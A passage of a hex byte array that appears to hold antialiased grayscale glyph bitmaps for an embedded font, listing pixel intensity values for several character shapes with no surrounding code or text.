0xFF, 0xFF, 0xF7, 0x9C, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x26, 0x59, 0x8B,
0x9B, 0x80, 0x62, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0x62, 0x62,
0x3F, 0x00, 0x1A, 0x62, 0x62, 0x62, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCD, 0xFF,
0xFF, 0xB2, 0x00, 0x52, 0xFF, 0xFF, 0xFF, 0x2D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCD,
0xFF, 0xFF, 0xB2, 0x00, 0x52, 0xFF, 0xFF, 0xFF, 0x2D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xCD, 0xFF, 0xFF, 0xB2, 0x00, 0x52, 0xFF, 0xFF, 0xFF, 0x2D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x5A, 0x76, 0x76, 0x4D, 0x00, 0x21, 0x76, 0x76, 0x76, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x06, 0x33, 0x65, 0x84, 0x7D, 0x5B, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x04, 0x87, 0xFA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0xA1, 0x16, 0x00, 0x00,
0x00, 0x00, 0x00, 0x1C, 0xC3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEC, 0x37,
0x00, 0x00, 0x00, 0x08, 0xDE, 0xFF, 0xFF, 0xFF, 0xE8, 0xA5, 0x88, 0xB5, 0xED, 0xFF, 0xFF, 0xFF,
0xEB, 0x1B, 0x00, 0x00, 0x78, 0xFF, 0xFF, 0xFF, 0xAB, 0x11, 0x00, 0x00, 0x00, 0x0A, 0xBD, 0xFF,
0xFF, 0xFF, 0x81, 0x00, 0x17, 0xF2, 0xFF, 0xFF, 0xC7, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09,
0xCB, 0xFF, 0xFF, 0xE0, 0x01, 0x76, 0xFF, 0xFF, 0xFF, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x6F, 0xFF, 0xFF, 0xFF, 0x42, 0x9E, 0xFF, 0xFF, 0xE9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x29, 0xFF, 0xFF, 0xFF, 0x74, 0xC4, 0xFF, 0xFF, 0xFD, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4,
0xB4, 0xB4, 0xB4, 0xB4, 0xFF, 0xFF, 0xFF, 0x8F, 0xEB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x98, 0xFA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x98, 0xD8, 0xFF, 0xFF, 0xC1, 0x10, 0x10,
0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x07, 0xB2, 0xFF, 0xFF, 0xDE, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xFE,
0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0xF8, 0xF8, 0xF8, 0x45, 0x4B, 0xFF, 0xFF,
0xFF, 0xA0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xF4, 0x0B, 0x00, 0xB7,
0xFF, 0xFF, 0xFE, 0x7C, 0x01, 0x00, 0x00, 0x00, 0x0A, 0x9A, 0xFF, 0xFF, 0xFF, 0x9D, 0x00, 0x00,
0x25, 0xF9, 0xFF, 0xFF, 0xFF, 0xC9, 0x8E, 0x72, 0x98, 0xDE, 0xFF, 0xFF, 0xFF, 0xDF, 0x10, 0x00,
0x00, 0x00, 0x55, 0xF0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x35, 0x00,
0x00, 0x00, 0x00, 0x00, 0x1F, 0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0x9C, 0x24, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x26, 0x59, 0x8B, 0x9B, 0x80, 0x62, 0x14, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x4F, 0x54, 0x54, 0x54, 0x0B, 0x00, 0x00, 0x00, 0x01, 0xA6, 0xFF, 0xFF,
0xFF, 0x8E, 0x00, 0x00, 0x00, 0x00, 0x05, 0xB6, 0xFF, 0xFF, 0xFC, 0x32, 0x00, 0x00, 0x00, 0x00,
0x0A, 0xC4, 0xFF, 0xFF, 0xCD, 0x03, 0x00, 0x00, 0x00, 0x00, 0x10, 0xD0, 0xFF, 0xFF, 0x71, 0x00,
0x00, 0x00, 0x00, 0x00, 0x17, 0xC8, 0xDC, 0xCB, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0x17, 0x17, 0x05, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xFF,
0xFF, 0xFF, 0x5E, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00,
0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00,
0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F,
0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF,
0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x0F,
0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00,
0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00,
0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF,
0x5F, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF,
0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xFD, 0xFF, 0xFF, 0x5A, 0x00, 0x00, 0x00, 0x00,
0x2E, 0x54, 0x54, 0x54, 0x2B, 0x00, 0x00, 0x11, 0xE8, 0xFF, 0xFF, 0xF8, 0x41, 0x00, 0x00, 0x9B,
0xFF, 0xFF, 0xFC, 0x51, 0x00, 0x00, 0x3F, 0xFE, 0xFF, 0xFF, 0x62, 0x00, 0x00, 0x07, 0xD8, 0xFF,
0xFF, 0x74, 0x00, 0x00, 0x00, 0x4F, 0xDC, 0xDC, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0x17, 0x17, 0x05, 0x00, 0x00, 0x00, 0x0E, 0xFF,
0xFF, 0xFF, 0x5E, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x0F, 0xFF,
0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x0F, 0xFF,
0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x0F, 0xFF,
0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x0F, 0xFF,
0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x0F, 0xFF,
0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x0F, 0xFF,
0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x0F, 0xFF,
0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x0F, 0xFF,
0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x0C, 0xFD, 0xFF, 0xFF, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x4F, 0x54, 0x54, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x69, 0xFF, 0xFF, 0xFF,
0xFF, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x27, 0xF5, 0xFF, 0xFF, 0xFF, 0xFF, 0xEB, 0x18, 0x00,
0x00, 0x00, 0x05, 0xCB, 0xFF, 0xFF, 0x90, 0xAB, 0xFF, 0xFF, 0xB7, 0x00, 0x00, 0x00, 0x84, 0xFF,
0xFF, 0xD4, 0x08, 0x12, 0xE5, 0xFF, 0xFF, 0x6C, 0x00, 0x11, 0xD9, 0xDC, 0xDB, 0x2F, 0x00, 0x00,
0x44, 0xDC, 0xDC, 0xD1, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0x17, 0x17, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0E, 0xFF, 0xFF, 0xFF, 0x5E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF,
0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF,
0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF,
0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF,
0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xFD, 0xFF, 0xFF,
0x5A, 0x00, 0x00, 0x00, 0x00, 0x34, 0x62, 0x62, 0x55, 0x00, 0x06, 0x61, 0x62, 0x62, 0x21, 0x95,
0xFF, 0xFF, 0xEA, 0x00, 0x1A, 0xFF, 0xFF, 0xFF, 0x65, 0x95, 0xFF, 0xFF, 0xEA, 0x00, 0x1A, 0xFF,
0xFF, 0xFF, 0x65, 0x95, 0xFF, 0xFF, 0xEA, 0x00, 0x1A, 0xFF, 0xFF, 0xFF, 0x65, 0x40, 0x76, 0x76,
0x67, 0x00, 0x08, 0x75, 0x76, 0x76, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x15, 0x17, 0x17, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xFF, 0xFF,
0xFF, 0x5E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00,
0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F,
0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F,
0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00,
0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF,
0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00,
0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F,
0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F,
0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00,
0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF,
0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xFD, 0xFF, 0xFF, 0x5A, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x01, 0x3D, 0x76, 0x75, 0x46, 0x04, 0x00, 0x00, 0x13, 0xC7, 0xC8, 0x12, 0x00,
0x00, 0x00, 0x01, 0x9A, 0xFF, 0xFF, 0xFF, 0xFF, 0xE9, 0x90, 0x61, 0xC2, 0xFF, 0xE8, 0x01, 0x00,
0x00, 0x00, 0x4C, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x8B, 0x00, 0x00,
0x00, 0x00, 0xA1, 0xFF, 0xB3, 0x20, 0x3E, 0x94, 0xEA, 0xFF, 0xFF, 0xF5, 0xA0, 0x07, 0x00, 0x00,
0x00, 0x00, 0x6B, 0x8C, 0x29, 0x00, 0x00, 0x00, 0x02, 0x32, 0x49, 0x0C, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x28, 0x2C, 0x2C, 0x05, 0x00, 0x00, 0x1B, 0x53, 0x87, 0x7A, 0x44, 0x10, 0x00, 0x00, 0x00, 0x01,
0xFF, 0xFF, 0xFF, 0x3A, 0x3D, 0xD5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x99, 0x01, 0x00, 0x01,
0xFF, 0xFF, 0xFF, 0x95, 0xFD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x97, 0x00, 0x01,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDD, 0xA1, 0x9F, 0xD9, 0xFF, 0xFF, 0xFF, 0xFF, 0x49, 0x01,
0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x8F, 0x09, 0x00, 0x00, 0x01, 0xA1, 0xFF, 0xFF, 0xFF, 0x98, 0x01,
0xFF, 0xFF, 0xFF, 0xFF, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0xF5, 0xFF, 0xFF, 0xC0, 0x01,
0xFF, 0xFF, 0xFF, 0xDA, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC9, 0xFF, 0xFF, 0xD3, 0x01,
0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xE1, 0x01,
0xFF, 0xFF, 0xFF, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xE1, 0x01,
0xFF, 0xFF, 0xFF, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xE1, 0x01,
0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xE1, 0x01,
0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xE1, 0x01,
0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xE1, 0x01,
0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xE1, 0x01,
0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xE1, 0x01,
0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xE1, 0x01,
0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xE1, 0x01,
0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xE1, 0x01,
0xFB, 0xFF, 0xFF, 0x5B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xFF, 0xFF, 0xDC, 0x00,
0x00, 0x00, 0x00, 0x2E, 0x54, 0x54, 0x54, 0x2D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0xFA, 0xFF, 0xFF, 0xE5, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0xFD, 0xFF, 0xFF, 0x95, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFD, 0x38,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0xFF,
0xFF, 0xD2, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x87, 0xDC, 0xDC, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x03, 0x2C, 0x5E, 0x8F, 0xA1, 0x85, 0x56, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x28, 0xD2, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x9D, 0x10, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x5D, 0xF4, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE6,
0x3E, 0x00, 0x00, 0x00, 0x00, 0x3C, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x87, 0x6F, 0xA4, 0xE2, 0xFF,
0xFF, 0xFF, 0xE2, 0x0C, 0x00, 0x00, 0x00, 0xC7, 0xFF, 0xFF, 0xFF, 0x6D, 0x00, 0x00, 0x00, 0x00,
0x06, 0xB9, 0xFF, 0xFF, 0xFF, 0x90, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0x81, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x0B, 0xCA, 0xFF, 0xFF, 0xFD, 0x21, 0x00, 0xB5, 0xFF, 0xFF, 0xF8, 0x14, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0xFF, 0xFF, 0xFF, 0x50, 0x00, 0xD9, 0xFF, 0xFF, 0xA8,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0xFA, 0xFF, 0xFF, 0x77, 0x03, 0xFA, 0xFF,
0xFF, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE3, 0xFF, 0xFF, 0x9D, 0x21,
0xFF, 0xFF, 0xFF, 0x5B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD1, 0xFF, 0xFF,
0xBB, 0x33, 0xFF, 0xFF, 0xFF, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE2,
0xFF, 0xFF, 0xA4, 0x13, 0xFF, 0xFF, 0xFF, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0xFA, 0xFF, 0xFF, 0x82, 0x00, 0xEE, 0xFF, 0xFF, 0x8F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x33, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0xC9, 0xFF, 0xFF, 0xE7, 0x06, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xFF, 0x39, 0x00, 0x87, 0xFF, 0xFF, 0xFF, 0x62, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xE7, 0xFF, 0xFF, 0xCE, 0x00, 0x00, 0x10, 0xEC, 0xFF, 0xFF,
0xF8, 0x55, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xCF, 0xFF, 0xFF, 0xFF, 0x50, 0x00, 0x00, 0x00, 0x6E,
0xFF, 0xFF, 0xFF, 0xFE, 0xB7, 0x82, 0x7B, 0xA5, 0xE4, 0xFF, 0xFF, 0xFF, 0xCE, 0x01, 0x00, 0x00,
0x00, 0x04, 0x93, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBC, 0x14, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0xED, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x8A, 0x03,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x38, 0x68, 0x97, 0x95, 0x66, 0x38, 0x0B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0D, 0x54, 0x54,
0x54, 0x4D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x93,
0xFF, 0xFF, 0xFF, 0x9F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x37, 0xFD, 0xFF, 0xFF, 0xB0, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x05, 0xD2, 0xFF, 0xFF, 0xBF, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x79, 0xFF, 0xFF, 0xCD, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x03, 0xD0, 0xDC, 0xC6, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x2C, 0x5E, 0x8F, 0xA1, 0x85, 0x56, 0x25,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0xD2, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x9D, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5D, 0xF4, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE6, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x3C, 0xFF, 0xFF, 0xFF, 0xFF,
0xC0, 0x87, 0x6F, 0xA4, 0xE2, 0xFF, 0xFF, 0xFF, 0xE2, 0x0C, 0x00, 0x00, 0x00, 0xC7, 0xFF, 0xFF,
0xFF, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x06, 0xB9, 0xFF, 0xFF, 0xFF, 0x90, 0x00, 0x00, 0x54, 0xFF,
0xFF, 0xFF, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0xCA, 0xFF, 0xFF, 0xFD, 0x21, 0x00,
0xB5, 0xFF, 0xFF, 0xF8, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0xFF, 0xFF, 0xFF,
0x50, 0x00, 0xD9, 0xFF, 0xFF, 0xA8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0xFA,
0xFF, 0xFF, 0x77, 0x03, 0xFA, 0xFF, 0xFF, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xE3, 0xFF, 0xFF, 0x9D, 0x21, 0xFF, 0xFF, 0xFF, 0x5B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xD1, 0xFF, 0xFF, 0xBB, 0x33, 0xFF, 0xFF, 0xFF, 0x50, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xE2, 0xFF, 0xFF, 0xA4, 0x13, 0xFF, 0xFF, 0xFF, 0x6B, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xFA, 0xFF, 0xFF, 0x82, 0x00, 0xEE, 0xFF, 0xFF, 0x8F,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0xC9, 0xFF,
0xFF, 0xE7, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xFF, 0x39, 0x00,
0x87, 0xFF, 0xFF, 0xFF, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xE7, 0xFF, 0xFF, 0xCE,
